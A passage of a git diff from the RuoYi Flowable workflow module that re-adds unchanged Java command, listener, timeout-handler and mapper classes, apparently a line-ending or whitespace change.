@SuppressWarnings("unchecked") - public Void execute(CommandContext commandContext) { - ExecutionEntityManager executionEntityManager = CommandContextUtil.getExecutionEntityManager(); - ExecutionEntity entity = executionEntityManager.findById(executionId); - // 设置流程变量 - List userIds = new ArrayList<>(); - List variable = (List) entity.getVariable(assigneeList); - for (Object o : variable) { - userIds.add(Long.valueOf(o.toString())); - } - List userIdList = new ArrayList<>(); - userIds.forEach(e -> { - Long userId = StreamUtils.findFirst(assignees, id -> ObjectUtil.equals(id, e)); - if (userId == null) { - userIdList.add(e); - } - }); - // 当前任务执行位置 - int loopCounterIndex = -1; - for (int i = 0; i < userIdList.size(); i++) { - Long userId = userIdList.get(i); - if (currentUserId.equals(userId.toString())) { - loopCounterIndex = i; - } - } - Map variables = new HashMap<>(16); - variables.put(NUMBER_OF_INSTANCES, userIdList.size()); - variables.put(assigneeList, userIdList); - variables.put(LOOP_COUNTER, loopCounterIndex); - entity.setVariables(variables); - return null; - } -} +package org.dromara.workflow.flowable.cmd; + +import cn.hutool.core.util.ObjectUtil; +import lombok.AllArgsConstructor; +import org.dromara.common.core.utils.StreamUtils; +import org.flowable.common.engine.impl.interceptor.Command; +import org.flowable.common.engine.impl.interceptor.CommandContext; +import org.flowable.engine.impl.persistence.entity.ExecutionEntity; +import org.flowable.engine.impl.persistence.entity.ExecutionEntityManager; +import org.flowable.engine.impl.util.CommandContextUtil; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import static org.dromara.workflow.common.constant.FlowConstant.LOOP_COUNTER; +import static org.dromara.workflow.common.constant.FlowConstant.NUMBER_OF_INSTANCES; + + +/** + * 串行减签 + * + * @author may + */ +@AllArgsConstructor +public class DeleteSequenceMultiInstanceCmd implements Command { + + /** + * 当前节点审批人员id + */ + private final String currentUserId; + + /** + * 执行id + */ + private final String executionId; + + /** + * 会签人员集合KEY + */ + private final String assigneeList; + + /** + * 减签人员 + */ + private final List assignees; + + + @Override + @SuppressWarnings("unchecked") + public Void execute(CommandContext commandContext) { + ExecutionEntityManager executionEntityManager = CommandContextUtil.getExecutionEntityManager(); + ExecutionEntity entity = executionEntityManager.findById(executionId); + // 设置流程变量 + List userIds = new ArrayList<>(); + List variable = (List) entity.getVariable(assigneeList); + for (Object o : variable) { + userIds.add(Long.valueOf(o.toString())); + } + List userIdList = new ArrayList<>(); + userIds.forEach(e -> { + Long userId = StreamUtils.findFirst(assignees, id -> ObjectUtil.equals(id, e)); + if (userId == null) { + userIdList.add(e); + } + }); + // 当前任务执行位置 + int loopCounterIndex = -1; + for (int i = 0; i < userIdList.size(); i++) { + Long userId = userIdList.get(i); + if (currentUserId.equals(userId.toString())) { + loopCounterIndex = i; + } + } + Map variables = new HashMap<>(16); + variables.put(NUMBER_OF_INSTANCES, userIdList.size()); + variables.put(assigneeList, userIdList); + variables.put(LOOP_COUNTER, loopCounterIndex); + entity.setVariables(variables); + return null; + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/ExecutionChildByExecutionIdCmd.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/ExecutionChildByExecutionIdCmd.java index 1f3088b..a2e396b 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/ExecutionChildByExecutionIdCmd.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/ExecutionChildByExecutionIdCmd.java @@ -1,39 +1,39 @@ -package org.dromara.workflow.flowable.cmd; - -import org.dromara.common.core.utils.StreamUtils; -import org.flowable.common.engine.impl.interceptor.Command; -import org.flowable.common.engine.impl.interceptor.CommandContext; -import org.flowable.engine.impl.persistence.entity.ExecutionEntity; -import org.flowable.engine.impl.persistence.entity.ExecutionEntityManager; -import org.flowable.engine.impl.util.CommandContextUtil; - -import java.io.Serializable; -import java.util.List; - -/** - * 获取并行网关执行后保留的执行实例数据 - * - * @author may - */ -public class ExecutionChildByExecutionIdCmd implements Command>, Serializable { - - /** - * 当前任务执行实例id - */ - private final String executionId; - - public ExecutionChildByExecutionIdCmd(String executionId) { - this.executionId = executionId; - } - - @Override - public List execute(CommandContext commandContext) { - ExecutionEntityManager executionEntityManager = CommandContextUtil.getExecutionEntityManager(); - // 获取当前执行数据 - ExecutionEntity executionEntity = executionEntityManager.findById(executionId); - // 通过当前执行数据的父执行,查询所有子执行数据 - List allChildrenExecution = - executionEntityManager.collectChildren(executionEntity.getParent()); - return StreamUtils.filter(allChildrenExecution, e -> !e.isActive()); - } -} +package org.dromara.workflow.flowable.cmd; + +import org.dromara.common.core.utils.StreamUtils; +import org.flowable.common.engine.impl.interceptor.Command; +import org.flowable.common.engine.impl.interceptor.CommandContext; +import org.flowable.engine.impl.persistence.entity.ExecutionEntity; +import org.flowable.engine.impl.persistence.entity.ExecutionEntityManager; +import org.flowable.engine.impl.util.CommandContextUtil; + +import java.io.Serializable; +import java.util.List; + +/** + * 获取并行网关执行后保留的执行实例数据 + * + * @author may + */ +public class ExecutionChildByExecutionIdCmd implements Command>, Serializable { + + /** + * 当前任务执行实例id + */ + private final String executionId; + + public ExecutionChildByExecutionIdCmd(String executionId) { + this.executionId = executionId; + } + + @Override + public List execute(CommandContext commandContext) { + ExecutionEntityManager executionEntityManager = CommandContextUtil.getExecutionEntityManager(); + // 获取当前执行数据 + ExecutionEntity executionEntity = executionEntityManager.findById(executionId); + // 通过当前执行数据的父执行,查询所有子执行数据 + List allChildrenExecution = + executionEntityManager.collectChildren(executionEntity.getParent()); + return StreamUtils.filter(allChildrenExecution, e -> !e.isActive()); + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/UpdateBusinessStatusCmd.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/UpdateBusinessStatusCmd.java index 3ba120a..c9dbfa7 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/UpdateBusinessStatusCmd.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/UpdateBusinessStatusCmd.java @@ -1,37 +1,37 @@ -package org.dromara.workflow.flowable.cmd; - -import org.dromara.common.core.exception.ServiceException; -import org.flowable.common.engine.impl.interceptor.Command; -import org.flowable.common.engine.impl.interceptor.CommandContext; -import org.flowable.engine.impl.persistence.entity.HistoricProcessInstanceEntity; -import org.flowable.engine.impl.persistence.entity.HistoricProcessInstanceEntityManager; -import org.flowable.engine.impl.util.CommandContextUtil; - -/** - * 修改流程状态 - * - * @author may - */ -public class UpdateBusinessStatusCmd implements Command { - - private final String processInstanceId; - private final String status; - - public UpdateBusinessStatusCmd(String processInstanceId, String status) { - this.processInstanceId = processInstanceId; - this.status = status; - } - - @Override - public Boolean execute(CommandContext commandContext) { - try { - HistoricProcessInstanceEntityManager manager = CommandContextUtil.getHistoricProcessInstanceEntityManager(); - HistoricProcessInstanceEntity processInstance = manager.findById(processInstanceId); - processInstance.setBusinessStatus(status); - manager.update(processInstance); - return true; - } catch (Exception e) { - throw new ServiceException(e.getMessage()); - } - } -} +package org.dromara.workflow.flowable.cmd; + +import org.dromara.common.core.exception.ServiceException; +import org.flowable.common.engine.impl.interceptor.Command; +import org.flowable.common.engine.impl.interceptor.CommandContext; +import org.flowable.engine.impl.persistence.entity.HistoricProcessInstanceEntity; +import org.flowable.engine.impl.persistence.entity.HistoricProcessInstanceEntityManager; +import org.flowable.engine.impl.util.CommandContextUtil; + +/** + * 修改流程状态 + * + * @author may + */ +public class UpdateBusinessStatusCmd implements Command { + + private final String processInstanceId; + private final String status; + + public UpdateBusinessStatusCmd(String processInstanceId, String status) { + this.processInstanceId = processInstanceId; + this.status = status; + } + + @Override + public Boolean execute(CommandContext commandContext) { + try { + HistoricProcessInstanceEntityManager manager = CommandContextUtil.getHistoricProcessInstanceEntityManager(); + HistoricProcessInstanceEntity processInstance = manager.findById(processInstanceId); + processInstance.setBusinessStatus(status); + manager.update(processInstance); + return true; + } catch (Exception e) { + throw new ServiceException(e.getMessage()); + } + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/UpdateHiTaskInstCmd.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/UpdateHiTaskInstCmd.java index 42f6d1c..ad462c7 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/UpdateHiTaskInstCmd.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/cmd/UpdateHiTaskInstCmd.java @@ -1,51 +1,51 @@ -package org.dromara.workflow.flowable.cmd; - -import org.dromara.common.core.exception.ServiceException; -import org.flowable.common.engine.impl.interceptor.Command; -import org.flowable.common.engine.impl.interceptor.CommandContext; -import org.flowable.engine.impl.util.CommandContextUtil; -import org.flowable.task.service.HistoricTaskService; -import org.flowable.task.service.impl.persistence.entity.HistoricTaskInstanceEntity; - -import java.util.Date; -import java.util.List; - - -/** - * 修改流程历史 - * - * @author may - */ -public class UpdateHiTaskInstCmd implements Command { - - private final List taskIds; - - private final String processDefinitionId; - - private final String processInstanceId; - - public UpdateHiTaskInstCmd(List taskIds, String processDefinitionId, String processInstanceId) { - this.taskIds = taskIds; - this.processDefinitionId = processDefinitionId; - this.processInstanceId = processInstanceId; - } - - @Override - public Boolean execute(CommandContext commandContext) { - try { - HistoricTaskService historicTaskService = CommandContextUtil.getHistoricTaskService(); - for (String taskId : taskIds) { - HistoricTaskInstanceEntity historicTask = historicTaskService.getHistoricTask(taskId); - if (historicTask != null) { - historicTask.setProcessDefinitionId(processDefinitionId); - historicTask.setProcessInstanceId(processInstanceId); - historicTask.setCreateTime(new Date()); - CommandContextUtil.getHistoricTaskService().updateHistoricTask(historicTask, true); - } - } - return true; - } catch (Exception e) { - throw new ServiceException(e.getMessage()); - } - } -} +package org.dromara.workflow.flowable.cmd; + +import org.dromara.common.core.exception.ServiceException; +import org.flowable.common.engine.impl.interceptor.Command; +import org.flowable.common.engine.impl.interceptor.CommandContext; +import org.flowable.engine.impl.util.CommandContextUtil; +import org.flowable.task.service.HistoricTaskService; +import org.flowable.task.service.impl.persistence.entity.HistoricTaskInstanceEntity; + +import java.util.Date; +import java.util.List; + + +/** + * 修改流程历史 + * + * @author may + */ +public class UpdateHiTaskInstCmd implements Command { + + private final List taskIds; + + private final String processDefinitionId; + + private final String processInstanceId; + + public UpdateHiTaskInstCmd(List taskIds, String processDefinitionId, String processInstanceId) { + this.taskIds = taskIds; + this.processDefinitionId = processDefinitionId; + this.processInstanceId = processInstanceId; + } + + @Override + public Boolean execute(CommandContext commandContext) { + try { + HistoricTaskService historicTaskService = CommandContextUtil.getHistoricTaskService(); + for (String taskId : taskIds) { + HistoricTaskInstanceEntity historicTask = historicTaskService.getHistoricTask(taskId); + if (historicTask != null) { + historicTask.setProcessDefinitionId(processDefinitionId); + historicTask.setProcessInstanceId(processInstanceId); + historicTask.setCreateTime(new Date()); + CommandContextUtil.getHistoricTaskService().updateHistoricTask(historicTask, true); + } + } + return true; + } catch (Exception e) { + throw new ServiceException(e.getMessage()); + } + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/config/FlowableConfig.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/config/FlowableConfig.java index 1494bf3..e84e0ae 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/config/FlowableConfig.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/config/FlowableConfig.java @@ -1,32 +1,32 @@ -package org.dromara.workflow.flowable.config; - -import com.baomidou.mybatisplus.core.incrementer.IdentifierGenerator; -import org.dromara.workflow.flowable.handler.TaskTimeoutJobHandler; -import org.flowable.spring.SpringProcessEngineConfiguration; -import org.flowable.spring.boot.EngineConfigurationConfigurer; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.context.annotation.Configuration; - -import java.util.Collections; - - -/** - * flowable配置 - * - * @author may - */ -@Configuration -public class FlowableConfig implements EngineConfigurationConfigurer { - - @Autowired - private GlobalFlowableListener globalFlowableListener; - @Autowired - private IdentifierGenerator identifierGenerator; - - @Override - public void configure(SpringProcessEngineConfiguration processEngineConfiguration) { - processEngineConfiguration.setIdGenerator(() -> identifierGenerator.nextId(null).toString()); - processEngineConfiguration.setEventListeners(Collections.singletonList(globalFlowableListener)); - processEngineConfiguration.addCustomJobHandler(new TaskTimeoutJobHandler()); - } -} +package org.dromara.workflow.flowable.config; + +import com.baomidou.mybatisplus.core.incrementer.IdentifierGenerator; +import org.dromara.workflow.flowable.handler.TaskTimeoutJobHandler; +import org.flowable.spring.SpringProcessEngineConfiguration; +import org.flowable.spring.boot.EngineConfigurationConfigurer; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Configuration; + +import java.util.Collections; + + +/** + * flowable配置 + * + * @author may + */ +@Configuration +public class FlowableConfig implements EngineConfigurationConfigurer { + + @Autowired + private GlobalFlowableListener globalFlowableListener; + @Autowired + private IdentifierGenerator identifierGenerator; + + @Override + public void configure(SpringProcessEngineConfiguration processEngineConfiguration) { + processEngineConfiguration.setIdGenerator(() -> identifierGenerator.nextId(null).toString()); + processEngineConfiguration.setEventListeners(Collections.singletonList(globalFlowableListener)); + processEngineConfiguration.addCustomJobHandler(new TaskTimeoutJobHandler()); + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/config/GlobalFlowableListener.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/config/GlobalFlowableListener.java index 9bb971a..cf11441 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/config/GlobalFlowableListener.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/config/GlobalFlowableListener.java @@ -1,139 +1,139 @@ -package org.dromara.workflow.flowable.config; - -import cn.hutool.core.collection.CollUtil; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.workflow.common.enums.TaskStatusEnum; -import org.dromara.workflow.flowable.handler.TaskTimeoutJobHandler; -import org.dromara.workflow.utils.QueryUtils; -import org.flowable.bpmn.model.BoundaryEvent; -import org.flowable.bpmn.model.BpmnModel; -import org.flowable.bpmn.model.FlowElement; -import org.flowable.common.engine.api.delegate.event.*; -import org.flowable.common.engine.impl.cfg.TransactionState; -import org.flowable.engine.RepositoryService; -import org.flowable.engine.RuntimeService; -import org.flowable.engine.TaskService; -import org.flowable.engine.impl.util.CommandContextUtil; -import org.flowable.engine.runtime.Execution; -import org.flowable.engine.task.Comment; -import org.flowable.job.service.TimerJobService; -import org.flowable.job.service.impl.persistence.entity.JobEntity; -import org.flowable.job.service.impl.persistence.entity.TimerJobEntity; -import org.flowable.task.api.Task; -import org.flowable.task.service.impl.persistence.entity.TaskEntity; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.context.annotation.Lazy; -import org.springframework.stereotype.Component; - -import java.util.Date; -import java.util.List; - - -/** - * 引擎调度监听 - * - * @author may - */ -@Component -public class GlobalFlowableListener implements FlowableEventListener { - - @Autowired - @Lazy - private TaskService taskService; - - @Autowired - @Lazy - private RuntimeService runtimeService; - - @Autowired - @Lazy - private RepositoryService repositoryService; - - @Value("${flowable.async-executor-activate}") - private boolean asyncExecutorActivate; - - @Override - public void onEvent(FlowableEvent flowableEvent) { - if (flowableEvent instanceof FlowableEngineEvent flowableEngineEvent) { - FlowableEngineEventType engineEventType = (FlowableEngineEventType) flowableEvent.getType(); - switch (engineEventType) { - case JOB_EXECUTION_SUCCESS -> jobExecutionSuccess((FlowableEngineEntityEvent) flowableEngineEvent); - case TASK_DUEDATE_CHANGED, TASK_CREATED -> { - FlowableEntityEvent flowableEntityEvent = (FlowableEntityEvent) flowableEngineEvent; - Object entityObject = flowableEntityEvent.getEntity(); - TaskEntity task = (TaskEntity) entityObject; - if (asyncExecutorActivate && task.getDueDate() != null && task.getDueDate().after(new Date())) { - //删除之前已经存在的定时任务 - TimerJobService timerJobService = CommandContextUtil.getTimerJobService(); - List timerJobEntityList = timerJobService.findTimerJobsByProcessInstanceId(task.getProcessInstanceId()); - if (!CollUtil.isEmpty(timerJobEntityList)) { - for (TimerJobEntity timerJobEntity : timerJobEntityList) { - String taskId = timerJobEntity.getJobHandlerConfiguration(); - if (task.getId().equals(taskId)) { - timerJobService.deleteTimerJob(timerJobEntity); - } - } - } - //创建job对象 - TimerJobEntity timer = timerJobService.createTimerJob(); - timer.setTenantId(TenantHelper.getTenantId()); - //设置job类型 - timer.setJobType(JobEntity.JOB_TYPE_TIMER); - timer.setJobHandlerType(TaskTimeoutJobHandler.TYPE); - timer.setDuedate(task.getDueDate()); - timer.setProcessInstanceId(task.getProcessInstanceId()); - //设置任务id - timer.setJobHandlerConfiguration(task.getId()); - //保存并触发事件 - timerJobService.scheduleTimerJob(timer); - } - } - } - } - } - - @Override - public boolean isFailOnException() { - return true; - } - - @Override - public boolean isFireOnTransactionLifecycleEvent() { - return false; - } - - @Override - public String getOnTransaction() { - return TransactionState.COMMITTED.name(); - } - - /** - * 处理边界定时事件自动审批记录 - * - * @param event 事件 - */ - protected void jobExecutionSuccess(FlowableEngineEntityEvent event) { - if (event != null && StringUtils.isNotBlank(event.getExecutionId())) { - Execution execution = runtimeService.createExecutionQuery().executionId(event.getExecutionId()).singleResult(); - if (execution != null) { - BpmnModel bpmnModel = repositoryService.getBpmnModel(event.getProcessDefinitionId()); - FlowElement flowElement = bpmnModel.getFlowElement(execution.getActivityId()); - if (flowElement instanceof BoundaryEvent) { - String attachedToRefId = ((BoundaryEvent) flowElement).getAttachedToRefId(); - List list = runtimeService.createExecutionQuery().activityId(attachedToRefId).list(); - for (Execution ex : list) { - Task task = QueryUtils.taskQuery().executionId(ex.getId()).singleResult(); - if (task != null) { - List taskComments = taskService.getTaskComments(task.getId()); - if (CollUtil.isEmpty(taskComments)) { - taskService.addComment(task.getId(), task.getProcessInstanceId(), TaskStatusEnum.PASS.getStatus(), "超时自动审批!"); - } - } - } - } - } - } - } -} +package org.dromara.workflow.flowable.config; + +import cn.hutool.core.collection.CollUtil; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.workflow.common.enums.TaskStatusEnum; +import org.dromara.workflow.flowable.handler.TaskTimeoutJobHandler; +import org.dromara.workflow.utils.QueryUtils; +import org.flowable.bpmn.model.BoundaryEvent; +import org.flowable.bpmn.model.BpmnModel; +import org.flowable.bpmn.model.FlowElement; +import org.flowable.common.engine.api.delegate.event.*; +import org.flowable.common.engine.impl.cfg.TransactionState; +import org.flowable.engine.RepositoryService; +import org.flowable.engine.RuntimeService; +import org.flowable.engine.TaskService; +import org.flowable.engine.impl.util.CommandContextUtil; +import org.flowable.engine.runtime.Execution; +import org.flowable.engine.task.Comment; +import org.flowable.job.service.TimerJobService; +import org.flowable.job.service.impl.persistence.entity.JobEntity; +import org.flowable.job.service.impl.persistence.entity.TimerJobEntity; +import org.flowable.task.api.Task; +import org.flowable.task.service.impl.persistence.entity.TaskEntity; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Lazy; +import org.springframework.stereotype.Component; + +import java.util.Date; +import java.util.List; + + +/** + * 引擎调度监听 + * + * @author may + */ +@Component +public class GlobalFlowableListener implements FlowableEventListener { + + @Autowired + @Lazy + private TaskService taskService; + + @Autowired + @Lazy + private RuntimeService runtimeService; + + @Autowired + @Lazy + private RepositoryService repositoryService; + + @Value("${flowable.async-executor-activate}") + private boolean asyncExecutorActivate; + + @Override + public void onEvent(FlowableEvent flowableEvent) { + if (flowableEvent instanceof FlowableEngineEvent flowableEngineEvent) { + FlowableEngineEventType engineEventType = (FlowableEngineEventType) flowableEvent.getType(); + switch (engineEventType) { + case JOB_EXECUTION_SUCCESS -> jobExecutionSuccess((FlowableEngineEntityEvent) flowableEngineEvent); + case TASK_DUEDATE_CHANGED, TASK_CREATED -> { + FlowableEntityEvent flowableEntityEvent = (FlowableEntityEvent) flowableEngineEvent; + Object entityObject = flowableEntityEvent.getEntity(); + TaskEntity task = (TaskEntity) entityObject; + if (asyncExecutorActivate && task.getDueDate() != null && task.getDueDate().after(new Date())) { + //删除之前已经存在的定时任务 + TimerJobService timerJobService = CommandContextUtil.getTimerJobService(); + List timerJobEntityList = timerJobService.findTimerJobsByProcessInstanceId(task.getProcessInstanceId()); + if (!CollUtil.isEmpty(timerJobEntityList)) { + for (TimerJobEntity timerJobEntity : timerJobEntityList) { + String taskId = timerJobEntity.getJobHandlerConfiguration(); + if (task.getId().equals(taskId)) { + timerJobService.deleteTimerJob(timerJobEntity); + } + } + } + //创建job对象 + TimerJobEntity timer = timerJobService.createTimerJob(); + timer.setTenantId(TenantHelper.getTenantId()); + //设置job类型 + timer.setJobType(JobEntity.JOB_TYPE_TIMER); + timer.setJobHandlerType(TaskTimeoutJobHandler.TYPE); + timer.setDuedate(task.getDueDate()); + timer.setProcessInstanceId(task.getProcessInstanceId()); + //设置任务id + timer.setJobHandlerConfiguration(task.getId()); + //保存并触发事件 + timerJobService.scheduleTimerJob(timer); + } + } + } + } + } + + @Override + public boolean isFailOnException() { + return true; + } + + @Override + public boolean isFireOnTransactionLifecycleEvent() { + return false; + } + + @Override + public String getOnTransaction() { + return TransactionState.COMMITTED.name(); + } + + /** + * 处理边界定时事件自动审批记录 + * + * @param event 事件 + */ + protected void jobExecutionSuccess(FlowableEngineEntityEvent event) { + if (event != null && StringUtils.isNotBlank(event.getExecutionId())) { + Execution execution = runtimeService.createExecutionQuery().executionId(event.getExecutionId()).singleResult(); + if (execution != null) { + BpmnModel bpmnModel = repositoryService.getBpmnModel(event.getProcessDefinitionId()); + FlowElement flowElement = bpmnModel.getFlowElement(execution.getActivityId()); + if (flowElement instanceof BoundaryEvent) { + String attachedToRefId = ((BoundaryEvent) flowElement).getAttachedToRefId(); + List list = runtimeService.createExecutionQuery().activityId(attachedToRefId).list(); + for (Execution ex : list) { + Task task = QueryUtils.taskQuery().executionId(ex.getId()).singleResult(); + if (task != null) { + List taskComments = taskService.getTaskComments(task.getId()); + if (CollUtil.isEmpty(taskComments)) { + taskService.addComment(task.getId(), task.getProcessInstanceId(), TaskStatusEnum.PASS.getStatus(), "超时自动审批!"); + } + } + } + } + } + } + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/handler/FlowProcessEventHandler.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/handler/FlowProcessEventHandler.java index 69ae70a..447435e 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/handler/FlowProcessEventHandler.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/handler/FlowProcessEventHandler.java @@ -1,50 +1,50 @@ -package org.dromara.workflow.flowable.handler; - -import org.dromara.common.core.domain.event.ProcessEvent; -import org.dromara.common.core.domain.event.ProcessTaskEvent; -import org.dromara.common.core.utils.SpringUtils; -import org.springframework.stereotype.Component; - -/** - * 流程监听服务 - * - * @author may - * @date 2024-06-02 - */ -@Component -public class FlowProcessEventHandler { - - /** - * 总体流程监听(例如: 提交 退回 撤销 终止 作废等) - * - * @param key 流程key - * @param businessKey 业务id - * @param status 状态 - * @param submit 当为true时为申请人节点办理 - */ - public void processHandler(String key, String businessKey, String status, boolean submit) { - ProcessEvent processEvent = new ProcessEvent(); - processEvent.setKey(key); - processEvent.setBusinessKey(businessKey); - processEvent.setStatus(status); - processEvent.setSubmit(submit); - SpringUtils.context().publishEvent(processEvent); - } - - /** - * 执行办理任务监听 - * - * @param key 流程key - * @param taskDefinitionKey 审批节点key - * @param taskId 任务id - * @param businessKey 业务id - */ - public void processTaskHandler(String key, String taskDefinitionKey, String taskId, String businessKey) { - ProcessTaskEvent processTaskEvent = new ProcessTaskEvent(); - processTaskEvent.setKey(key); - processTaskEvent.setTaskDefinitionKey(taskDefinitionKey); - processTaskEvent.setTaskId(taskId); - processTaskEvent.setBusinessKey(businessKey); - SpringUtils.context().publishEvent(processTaskEvent); - } -} +package org.dromara.workflow.flowable.handler; + +import org.dromara.common.core.domain.event.ProcessEvent; +import org.dromara.common.core.domain.event.ProcessTaskEvent; +import org.dromara.common.core.utils.SpringUtils; +import org.springframework.stereotype.Component; + +/** + * 流程监听服务 + * + * @author may + * @date 2024-06-02 + */ +@Component +public class FlowProcessEventHandler { + + /** + * 总体流程监听(例如: 提交 退回 撤销 终止 作废等) + * + * @param key 流程key + * @param businessKey 业务id + * @param status 状态 + * @param submit 当为true时为申请人节点办理 + */ + public void processHandler(String key, String businessKey, String status, boolean submit) { + ProcessEvent processEvent = new ProcessEvent(); + processEvent.setKey(key); + processEvent.setBusinessKey(businessKey); + processEvent.setStatus(status); + processEvent.setSubmit(submit); + SpringUtils.context().publishEvent(processEvent); + } + + /** + * 执行办理任务监听 + * + * @param key 流程key + * @param taskDefinitionKey 审批节点key + * @param taskId 任务id + * @param businessKey 业务id + */ + public void processTaskHandler(String key, String taskDefinitionKey, String taskId, String businessKey) { + ProcessTaskEvent processTaskEvent = new ProcessTaskEvent(); + processTaskEvent.setKey(key); + processTaskEvent.setTaskDefinitionKey(taskDefinitionKey); + processTaskEvent.setTaskId(taskId); + processTaskEvent.setBusinessKey(businessKey); + SpringUtils.context().publishEvent(processTaskEvent); + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/handler/TaskTimeoutJobHandler.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/handler/TaskTimeoutJobHandler.java index 61c9388..bff36ae 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/handler/TaskTimeoutJobHandler.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/flowable/handler/TaskTimeoutJobHandler.java @@ -1,37 +1,37 @@ -package org.dromara.workflow.flowable.handler; - -import org.dromara.workflow.common.enums.TaskStatusEnum; -import org.flowable.common.engine.impl.interceptor.CommandContext; -import org.flowable.engine.TaskService; -import org.flowable.engine.impl.jobexecutor.TimerEventHandler; -import org.flowable.engine.impl.util.CommandContextUtil; -import org.flowable.job.service.JobHandler; -import org.flowable.job.service.impl.persistence.entity.JobEntity; -import org.flowable.task.api.Task; -import org.flowable.variable.api.delegate.VariableScope; - -/** - * 办理超时(过期)任务 - * - * @author may - */ -public class TaskTimeoutJobHandler extends TimerEventHandler implements JobHandler { - - public static final String TYPE = "taskTimeout"; - - @Override - public String getType() { - return TYPE; - } - - @Override - public void execute(JobEntity job, String configuration, VariableScope variableScope, CommandContext commandContext) { - TaskService taskService = CommandContextUtil.getProcessEngineConfiguration(commandContext) - .getTaskService(); - Task task = taskService.createTaskQuery().taskId(configuration).singleResult(); - if (task != null) { - taskService.addComment(task.getId(), task.getProcessInstanceId(), TaskStatusEnum.TIMEOUT.getStatus(), "超时自动审批!"); - taskService.complete(configuration); - } - } -} +package org.dromara.workflow.flowable.handler; + +import org.dromara.workflow.common.enums.TaskStatusEnum; +import org.flowable.common.engine.impl.interceptor.CommandContext; +import org.flowable.engine.TaskService; +import org.flowable.engine.impl.jobexecutor.TimerEventHandler; +import org.flowable.engine.impl.util.CommandContextUtil; +import org.flowable.job.service.JobHandler; +import org.flowable.job.service.impl.persistence.entity.JobEntity; +import org.flowable.task.api.Task; +import org.flowable.variable.api.delegate.VariableScope; + +/** + * 办理超时(过期)任务 + * + * @author may + */ +public class TaskTimeoutJobHandler extends TimerEventHandler implements JobHandler { + + public static final String TYPE = "taskTimeout"; + + @Override + public String getType() { + return TYPE; + } + + @Override + public void execute(JobEntity job, String configuration, VariableScope variableScope, CommandContext commandContext) { + TaskService taskService = CommandContextUtil.getProcessEngineConfiguration(commandContext) + .getTaskService(); + Task task = taskService.createTaskQuery().taskId(configuration).singleResult(); + if (task != null) { + taskService.addComment(task.getId(), task.getProcessInstanceId(), TaskStatusEnum.TIMEOUT.getStatus(), "超时自动审批!"); + taskService.complete(configuration); + } + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/ActHiProcinstMapper.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/ActHiProcinstMapper.java index a3a41c9..c68e1e9 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/ActHiProcinstMapper.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/ActHiProcinstMapper.java @@ -1,16 +1,16 @@ -package org.dromara.workflow.mapper; - -import com.baomidou.mybatisplus.annotation.InterceptorIgnore; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.workflow.domain.ActHiProcinst; - -/** - * 流程实例Mapper接口 - * - * @author may - * @date 2023-07-22 - */ -@InterceptorIgnore(tenantLine = "true") -public interface ActHiProcinstMapper extends BaseMapperPlus { - -} +package org.dromara.workflow.mapper; + +import com.baomidou.mybatisplus.annotation.InterceptorIgnore; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.workflow.domain.ActHiProcinst; + +/** + * 流程实例Mapper接口 + * + * @author may + * @date 2023-07-22 + */ +@InterceptorIgnore(tenantLine = "true") +public interface ActHiProcinstMapper extends BaseMapperPlus { + +} 